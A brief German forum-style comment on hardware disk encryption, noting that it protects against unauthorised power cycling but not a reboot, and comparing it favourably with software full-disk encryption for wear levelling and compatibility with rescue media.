Schützt allerdings nicht gegen Reboot, nur gegen unbefugtes (Aus- und wieder-)Einschalten.
Vorteil gegenüber Software-FDE ist nicht nur das bessere Wearlevelling, sondern insb., dass die Platte in jeder (Betriebssystem-)Umgebung inkl. Rettungsmedien problemlos ansprechbar ist.